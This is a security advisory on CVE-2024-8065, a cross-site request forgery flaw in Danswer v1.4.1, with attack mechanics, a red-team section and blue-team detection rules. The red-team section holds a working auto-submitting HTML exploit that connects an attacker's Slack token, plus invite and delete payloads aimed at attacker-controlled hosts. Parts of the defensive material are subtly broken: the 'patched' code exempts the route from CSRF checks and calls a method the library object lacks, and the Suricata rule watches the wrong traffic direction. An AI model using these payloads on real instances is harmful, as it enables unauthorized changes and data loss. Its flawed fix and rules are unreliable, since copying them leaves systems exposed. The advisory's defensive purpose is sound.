CVE-2024-8065

Executive Summary

CVE-2024-8065 is a critical Cross-Site Request Forgery (CSRF) vulnerability affecting Danswer-ai/Danswer version v1.4.1. The application lacks any CSRF protection mechanisms, allowing an attacker to forge requests on behalf of an authenticated victim. This can lead to unauthorized actions such as connecting the victim’s application to a malicious Slack bot, inviting arbitrary users, or deleting chat histories. The CVSS score of 8.1 (High) reflects the ease of exploitation (no privileges required, only user interaction) and the potential for significant impact on confidentiality, integrity, and availability. No official patch has been released as of this analysis.

Supply Chain & Package Security

This vulnerability is in a Python-based application (Danswer). The package is distributed via PyPI as danswer-ai. Users should verify the integrity of their installed package and monitor for updates. No known malicious packages have been reported, but the lack of CSRF protection increases the risk of supply chain attacks if combined with other vulnerabilities.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the attack.
• User Interaction: Required (UI:R) – Victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerable component and the attacker’s target are the same.
• Confidentiality Impact: High (C:H) – Attacker can read sensitive data (e.g., chat logs).
• Integrity Impact: High (I:H) – Attacker can modify application state (e.g., invite users, connect Slack bot).
• Availability Impact: High (A:H) – Attacker can delete chats or disrupt service.

Threat Level: High. The vulnerability is trivial to exploit and requires only a single user interaction. The lack of a patch makes all v1.4.1 instances vulnerable.

Deep Dive & Mechanics

The vulnerability stems from the absence of CSRF tokens or any anti-CSRF mechanisms (e.g., SameSite cookies, origin headers) in Danswer v1.4.1. The application processes state-changing HTTP requests (POST, PUT, DELETE) without verifying that the request originated from the legitimate user interface.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing an auto-submitting form or an image tag that triggers a cross-origin request to the Danswer instance.
2. The victim, who is authenticated to the Danswer application (e.g., via session cookie), visits the attacker’s page.
3. The victim’s browser automatically sends the forged request (e.g., POST to /api/slack/connect) along with the victim’s session cookie.
4. The Danswer server processes the request, believing it came from the victim, and performs the attacker’s desired action (e.g., connecting a malicious Slack bot).

Key Endpoints at Risk:

• /api/slack/connect – Connect a Slack bot.
• /api/users/invite – Invite new users.
• /api/chats/delete – Delete chat conversations.
• Any other state-changing API endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (v1.4.1): The application does not implement any CSRF protection. Example of a vulnerable endpoint handler (pseudo-code):

@app.route('/api/slack/connect', methods=['POST'])
def connect_slack():
    # No CSRF token check
    token = request.form['slack_token']
    # Process connection...
    return jsonify(success=True)

Patched Code (Hypothetical): A patched version would include CSRF token validation:

from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)

@app.route('/api/slack/connect', methods=['POST'])
@csrf.exempt  # Not recommended; use token validation
def connect_slack():
    # Validate CSRF token
    csrf_token = request.form.get('csrf_token')
    if not csrf.validate_csrf(csrf_token):
        abort(403)
    token = request.form['slack_token']
    # Process connection...
    return jsonify(success=True)

Note: Since no official patch exists, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running Danswer v1.4.1 instance.
• A victim user authenticated to the instance.
• A malicious HTML page hosted on an attacker-controlled server.

Exploit Payload (HTML):

<!DOCTYPE html>
<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://victim-danswer.com/api/slack/connect" method="POST">
    <input type="hidden" name="slack_token" value="xoxb-malicious-token">
    <input type="submit" value="Click here">
</form>
<script>
    // Auto-submit the form
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host the above HTML on an attacker-controlled server (e.g., http://attacker.com/exploit.html).
2. Send the link to the victim (e.g., via email or social engineering).
3. When the victim clicks the link, the form auto-submits, connecting the malicious Slack bot.

Additional Payloads:

• Invite user: POST /api/users/invite with email=attacker@evil.com.
• Delete chats: POST /api/chats/delete with chat_id=123.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to sensitive endpoints (e.g., /api/slack/connect, /api/users/invite) from external referrers.
• Look for anomalies in user-agent strings or unusual patterns in request bodies.

Defense:

• Implement CSRF tokens using a library like Flask-WTF.
• Set SameSite=Strict or SameSite=Lax on session cookies.
• Validate the Origin and Referer headers on state-changing requests.
• Use a Web Application Firewall (WAF) to block requests with missing or invalid CSRF tokens.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/slack/connect with unexpected slack_token values.
  • POST requests to /api/users/invite with email addresses not in the organization.
  • POST requests to /api/chats/delete with unusual chat_id parameters.
• Host IOCs:
  • Unauthorized Slack bot connections in the Danswer integration settings.
  • New user accounts created without admin approval.
  • Missing chat history entries.
• Log IOCs:
  • Log entries showing state-changing API calls without a corresponding CSRF token in the request.
  • Requests with Referer headers pointing to external domains.

Detection Engineering

YARA Rule

rule CVE_2024_8065_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Danswer v1.4.1"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8065"
    strings:
        $s1 = "/api/slack/connect" ascii wide nocase
        $s2 = "/api/users/invite" ascii wide nocase
        $s3 = "/api/chats/delete" ascii wide nocase
        $s4 = "slack_token" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: CVE-2024-8065 CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to Danswer CSRF-vulnerable endpoints without proper origin validation.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/slack/connect'
            - '/api/users/invite'
            - '/api/chats/delete'
    filter:
        cs-referer: 'https://victim-danswer.com/*'
    condition: selection and not filter
falsepositives:
    - Legitimate internal requests with proper CSRF tokens (if implemented)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-8065 CSRF Exploit Attempt - Danswer Slack Connect";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/slack/connect"; http_uri;
    content:"slack_token"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-8065;
    classtype:attempted-user;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable endpoints if not in use (e.g., block /api/slack/connect via reverse proxy).
2. Implement CSRF protection manually by adding a CSRF token to all state-changing forms and validating it server-side.
3. Set session cookies with SameSite=Strict and HttpOnly flags.
4. Restrict CORS to trusted origins only.

Long-Term Fix:

• Upgrade to a patched version once released (monitor Danswer-ai GitHub repository).
• Conduct a security audit of all API endpoints for missing CSRF protection.

Workaround:

• Use a Web Application Firewall (WAF) with custom rules to block requests missing a CSRF token or having suspicious referrers.

Valters IT
Securing digital frontiers, one CVE at a time.